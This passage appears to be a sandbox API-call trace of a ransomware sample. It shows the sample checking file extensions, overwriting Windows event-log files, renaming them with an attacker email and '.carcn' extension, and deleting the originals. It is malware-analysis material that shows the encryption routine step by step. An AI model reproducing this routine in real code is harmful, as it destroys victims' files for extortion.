(lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.258] lstrlenW (lpString=".ppt") returned 4 [0178.258] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.258] lstrlenW (lpString=".zip") returned 4 [0178.259] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.259] lstrlenW (lpString=".rar") returned 4 [0178.259] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.259] lstrlenW (lpString=".bz2") returned 4 [0178.259] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.259] lstrlenW (lpString=".7z") returned 3 [0178.259] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.259] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.259] lstrlenW (lpString=".dbf") returned 4 [0178.259] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.259] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.259] lstrlenW (lpString=".1cd") returned 4 [0178.259] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.259] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.259] lstrlenW (lpString=".jpg") returned 4 [0178.259] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.259] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.259] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0178.259] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0178.259] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=2166784) returned 1 [0178.259] CloseHandle (hObject=0x374) returned 1 [0178.260] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0178.260] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.260] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0178.260] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0178.260] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1 [0178.260] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0178.260] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ce9058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0178.280] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0178.281] ReadFile (in: hFile=0x374, lpBuffer=0x3d29058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d29058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0178.394] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.395] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0178.395] ReadFile (in: hFile=0x374, lpBuffer=0x3d69058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d69058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0178.427] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.428] WriteFile (in: hFile=0x374, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fca8*=0xc015c, lpOverlapped=0x0) returned 1 [0178.439] SetEndOfFile (hFile=0x374) returned 1 [0178.439] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43700c8 [0178.443] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0178.443] WriteFile (in: hFile=0x374, lpBuffer=0x43700c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43700c8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0178.445] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0178.445] WriteFile (in: hFile=0x374, lpBuffer=0x43700c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43700c8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0178.446] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0178.446] WriteFile (in: hFile=0x374, lpBuffer=0x43700c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43700c8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0178.448] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43700c8 | out: hHeap=0x790000) returned 1 [0178.450] CloseHandle (hObject=0x374) returned 1 [0179.632] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.633] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.633] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.633] lstrlenW (lpString=".doc") returned 4 [0179.633] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.633] lstrlenW (lpString=".docx") returned 5 [0179.633] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.633] lstrlenW (lpString=".pdf") returned 4 [0179.633] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.633] lstrlenW (lpString=".xls") returned 4 [0179.633] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.633] lstrlenW (lpString=".xlsx") returned 5 [0179.633] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.633] lstrlenW (lpString=".ppt") returned 4 [0179.633] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.633] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.633] lstrlenW (lpString=".zip") returned 4 [0179.633] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.633] lstrlenW (lpString=".rar") returned 4 [0179.633] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.633] lstrlenW (lpString=".bz2") returned 4 [0179.633] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.633] lstrlenW (lpString=".7z") returned 3 [0179.633] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.633] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.633] lstrlenW (lpString=".dbf") returned 4 [0179.634] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.634] lstrlenW (lpString=".1cd") returned 4 [0179.634] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.634] lstrlenW (lpString=".jpg") returned 4 [0179.634] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.634] lstrlenW (lpString=".doc") returned 4 [0179.634] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString=".docx") returned 5 [0179.634] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.634] lstrlenW (lpString=".pdf") returned 4 [0179.634] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString=".xls") returned 4 [0179.634] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString=".xlsx") returned 5 [0179.634] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.634] lstrlenW (lpString=".ppt") returned 4 [0179.634] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.634] lstrlenW (lpString=".zip") returned 4 [0179.634] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString=".rar") returned 4 [0179.634] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString=".bz2") returned 4 [0179.634] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.634] lstrlenW (lpString=".7z") returned 3 [0179.634] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.635] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.635] lstrlenW (lpString=".dbf") returned 4 [0179.635] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.635] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.635] lstrlenW (lpString=".1cd") returned 4 [0179.635] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.635] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0179.635] lstrlenW (lpString=".jpg") returned 4 [0179.635] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.635] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.635] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0179.635] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.639] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0179.639] CloseHandle (hObject=0x374) returned 1 [0179.639] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0179.639] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.639] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.639] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.639] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.639] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0179.639] GetLastError () returned 0x0 [0179.640] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.679] WriteFile (in: hFile=0x388, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.680] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.680] WriteFile (in: hFile=0x388, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x136, lpOverlapped=0x0) returned 1 [0179.680] SetEndOfFile (hFile=0x388) returned 1 [0179.680] CloseHandle (hObject=0x388) returned 1 [0179.682] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.682] SetEndOfFile (hFile=0x374) returned 1 [0179.683] CloseHandle (hObject=0x374) returned 1 [0179.683] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.684] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0179.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.684] lstrlenW (lpString=".doc") returned 4 [0179.684] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.684] lstrlenW (lpString=".docx") returned 5 [0179.684] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.684] lstrlenW (lpString=".pdf") returned 4 [0179.684] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.684] lstrlenW (lpString=".xls") returned 4 [0179.684] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.684] lstrlenW (lpString=".xlsx") returned 5 [0179.684] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.684] lstrlenW (lpString=".ppt") returned 4 [0179.684] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.684] lstrlenW (lpString=".zip") returned 4 [0179.684] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.684] lstrlenW (lpString=".rar") returned 4 [0179.684] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.684] lstrlenW (lpString=".bz2") returned 4 [0179.684] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.684] lstrlenW (lpString=".7z") returned 3 [0179.684] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.685] lstrlenW (lpString=".dbf") returned 4 [0179.685] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.685] lstrlenW (lpString=".1cd") returned 4 [0179.685] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.685] lstrlenW (lpString=".jpg") returned 4 [0179.685] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.685] lstrlenW (lpString=".doc") returned 4 [0179.685] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.685] lstrlenW (lpString=".docx") returned 5 [0179.685] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.685] lstrlenW (lpString=".pdf") returned 4 [0179.685] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.685] lstrlenW (lpString=".xls") returned 4 [0179.685] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.685] lstrlenW (lpString=".xlsx") returned 5 [0179.685] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.685] lstrlenW (lpString=".ppt") returned 4 [0179.686] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.686] lstrlenW (lpString=".zip") returned 4 [0179.686] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.686] lstrlenW (lpString=".rar") returned 4 [0179.686] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.686] lstrlenW (lpString=".bz2") returned 4 [0179.686] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.686] lstrlenW (lpString=".7z") returned 3 [0179.686] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.686] lstrlenW (lpString=".dbf") returned 4 [0179.686] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.686] lstrlenW (lpString=".1cd") returned 4 [0179.686] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0179.686] lstrlenW (lpString=".jpg") returned 4 [0179.686] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.686] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.686] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0179.686] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.686] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0179.687] CloseHandle (hObject=0x374) returned 1 [0179.687] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0179.687] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.687] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.687] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0179.687] GetLastError () returned 0x0 [0179.687] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.747] WriteFile (in: hFile=0x388, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.750] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.750] WriteFile (in: hFile=0x388, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x132, lpOverlapped=0x0) returned 1 [0179.750] SetEndOfFile (hFile=0x388) returned 1 [0179.750] CloseHandle (hObject=0x388) returned 1 [0179.752] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.752] SetEndOfFile (hFile=0x374) returned 1 [0179.756] CloseHandle (hObject=0x374) returned 1 [0179.757] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.757] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0179.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.762] lstrlenW (lpString=".doc") returned 4 [0179.762] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.762] lstrlenW (lpString=".docx") returned 5 [0179.762] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.762] lstrlenW (lpString=".pdf") returned 4 [0179.762] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.762] lstrlenW (lpString=".xls") returned 4 [0179.762] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.762] lstrlenW (lpString=".xlsx") returned 5 [0179.762] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.762] lstrlenW (lpString=".ppt") returned 4 [0179.762] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.762] lstrlenW (lpString=".zip") returned 4 [0179.762] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.762] lstrlenW (lpString=".rar") returned 4 [0179.762] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.762] lstrlenW (lpString=".bz2") returned 4 [0179.763] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.763] lstrlenW (lpString=".7z") returned 3 [0179.763] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.763] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.763] lstrlenW (lpString=".dbf") returned 4 [0179.763] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.763] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.763] lstrlenW (lpString=".1cd") returned 4 [0179.763] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.763] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.763] lstrlenW (lpString=".jpg") returned 4 [0179.763] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.763] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.763] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.763] lstrlenW (lpString=".doc") returned 4 [0179.763] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.763] lstrlenW (lpString=".docx") returned 5 [0179.763] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.763] lstrlenW (lpString=".pdf") returned 4 [0179.763] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.763] lstrlenW (lpString=".xls") returned 4 